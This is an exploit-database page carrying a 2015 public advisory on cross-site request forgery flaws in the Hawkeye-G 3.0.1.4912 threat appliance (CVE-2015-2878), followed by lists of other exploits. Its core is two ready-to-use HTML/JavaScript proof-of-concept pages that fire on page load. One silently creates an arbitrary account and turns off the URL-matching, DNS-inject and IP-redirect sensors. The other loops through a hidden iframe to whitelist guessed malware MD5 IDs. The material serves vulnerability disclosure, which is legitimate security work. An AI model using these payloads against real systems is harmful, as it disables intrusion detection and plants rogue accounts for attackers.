Menu

Search for hundreds of thousands of exploits

"Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

multiple

Release date

Exploit published date

2015-07-24

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
# Exploit Title:  CSRF, Network Threat Appliance IDS / IPS
# Google Dork: intitle: CSRF Network Threat Appliance IDS / IPS
# Date: 2015-07-24
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: www.hexiscyber.com
# Software Link:  www.hexiscyber.com/products/hawkeye-g
# Version:  v3.0.1.4912
# Tested on: windows 7 SP1
# Category: Network Threat Appliance IDS / IPS



Vulnerability Type:
===================
CSRF


CVE Reference:
==============
CVE-2015-2878



Vendor:
===================
www.hexiscyber.com



Product:
=====================================================================
Hawkeye-G v3.0.1.4912

Hawkeye G is an active defense disruptive technology that detects,
investigates, remediates and removes cyber threats within the network.



Advisory Information:
====================================================

Multiple CSRF(s) Vulnerabilities:


Vulnerability Details:
=====================

1- CSRF Add arbitrary accounts to system
------------------------------------

vulnerable URL:
https://localhost:8443/interface/rest/accounts/json

vulnerable POST parameter:
'name'


2- CSRF modification of network sensor settings
---------------------------------------------------------------------

a) Turn off 'Url matching' Sensor
b) Turn off 'DNS Inject' Sensor
c) Turn off 'IP Redirect' Sensor

vulnerable URL:
https://localhost:8443/interface/rest/dpi/setEnabled/1

vulnerable POST parameters:
'url_match'
'dns_inject'
'ip_redirect'

3- CSRF whitelisting of malware MD5 hash IDs
------------------------------------------------------

vulnerable URL:
https://localhost:8443/interface/rest/md5-threats/whitelist

vulnerable POST parameter 'id'



CSRF Exploit code(s):
====================


<!DOCTYPE>
<html>

<script>

/* Execute consecutive CSRF exploits */

function ghostofsin(){
 var doc=document;
 var e1=doc.getElementById('exploit_1')
 e1.submit()
 var e2=doc.getElementById('exploit_2')
  e2.submit()
 var e3=doc.getElementById('exploit_3')
  e3.submit()
 var e4=doc.getElementById('exploit_4')
  e4.submit()
}
</script>

<body onLoad="ghostofsin()">

<!-- Add arbitrary accounts -->
<form id="exploit_1" action="
https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="inverted_crosses" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />
</form>


<!-- shutdown the 'Url Matching' Sensor that
is responsible for detecting known malware domains -->

<form id="exploit_2" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="url_match"/>
</form>

<!-- set the DNS Inject Network Sensor to off -->

<form id="exploit_3" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="dns_inject"/>
</form>

<!-- set the IP Redirect Network Sensor to off -->

<form id="exploit_4" action="
https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post">
<input type="text" name="level" value="1" />
<input type="text" name="enable" value="false" />
<input type="text" name="attribute" value="ip_redirect"/>
</form>

</body>
</html>


Whitelist MD5 malware IDs CSRF:
-------------------------------

In final CSRF POC to try an white list malware MD5 IDs will be a bit more
complex,
we need to submit form many times hidden in background using iframe so we
stay on same page.
Seems all MD5 ID's end in 0001 and are 8 bytes in length, we just need a
loop an create some
numbers 8 bytes long and dynamically assign the 'id' value of the field and
execute multiple
POST requests in background, it will be hit or miss unless you know ahead
of time the MD5 ID
in the database your targeting.

e.g. Malware MD5 database ID 28240001

So Here we go!...

<!-- whitelist MD5 malware IDs -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>CSRF POC hyp3rlinx</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form id="hell" action="
https://localhost:8443/interface/rest/md5-threats/whitelist"
target="demonica" method="post">
<input type="hidden" name="id" id="id"><br>
</form>
<IFRAME style="display:none" name="demonica"></IFRAME>
<script>
var doc=document
var x=1000
exorcism()
function exorcism(){
 x++
 String(x)
 x+="0001"
 var f=doc.getElementById('hell')
 var e=doc.getElementById('id')
 e.value=x
  x=x.substr(0,4)
 f.submit()
 }
 setInterval("exorcism()",100)
</script>
</body>
</html>



Disclosure Timeline:
=========================================================
Vendor Notification: June 30, 2015
July 24, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s):              [+] POST


Vulnerable Product:             [+] Hawkeye-G v3.0.1.4912


Vulnerable Parameter(s):        [+] name, enable, id


Affected Area(s):               [+] Network Threat Appliance, Local Domain


============================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.


(hyp3rlinx)
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-09-16 "Windows TCPIP Finger Command - C2 Channel and Bypassing Security Software" local windows hyp3rlinx
2020-08-26 "Ericom Access Server x64 9.2.0 - Server-Side Request Forgery" webapps multiple hyp3rlinx
2020-07-07 "Microsoft Windows mshta.exe 2019 - XML External Entity Injection" remote xml hyp3rlinx
2020-06-12 "Avaya IP Office 11 - Password Disclosure" webapps multiple hyp3rlinx
2020-06-10 "HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)" remote multiple hyp3rlinx
2020-06-10 "WinGate 9.4.1.5998 - Insecure Folder Permissions" local windows hyp3rlinx
2020-04-21 "Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption" remote windows hyp3rlinx
2020-04-06 "Microsoft NET USE win10 - Insufficient Authentication Logic" local windows hyp3rlinx
2020-02-12 "HP System Event Utility - Local Privilege Escalation" local windows hyp3rlinx
2020-01-21 "NEOWISE CARBONFTP 1.4 - Weak Password Encryption" local windows hyp3rlinx
2020-01-17 "Trend Micro Maximum Security 2019 - Privilege Escalation" local windows hyp3rlinx
2020-01-17 "Trend Micro Maximum Security 2019 - Arbitrary Code Execution" local windows hyp3rlinx
2020-01-06 "Microsoft Outlook VCF cards - Denial of Service (PoC)" dos windows hyp3rlinx
2020-01-01 "Microsoft Windows .Group File - Code Execution" local windows hyp3rlinx
2019-12-03 "Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass" local xml hyp3rlinx
2019-12-02 "Microsoft Excel 2016 1901 - XML External Entity Injection" local xml hyp3rlinx
2019-12-02 "Visual Studio 2008 - XML External Entity Injection" local xml hyp3rlinx
2019-12-02 "Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions" local windows hyp3rlinx
2019-11-13 "ScanGuard Antivirus 2020 - Insecure Folder Permissions" local windows hyp3rlinx
2019-10-21 "Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution" local windows hyp3rlinx
2019-09-06 "Windows NTFS - Privileged File Access Enumeration" local windows hyp3rlinx
2019-08-14 "Windows PowerShell - Unsanitized Filename Command Execution" dos windows hyp3rlinx
2019-07-24 "Trend Micro Deep Discovery Inspector IDS - Security Bypass" remote multiple hyp3rlinx
2019-07-17 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow" remote windows hyp3rlinx
2019-07-16 "Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection" dos windows hyp3rlinx
2019-06-17 "HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write" dos windows hyp3rlinx
2019-05-03 "Windows PowerShell ISE - Remote Code Execution" local windows hyp3rlinx
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-01-23 "Microsoft Windows CONTACT - HTML Injection / Remote Code Execution" local windows hyp3rlinx 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected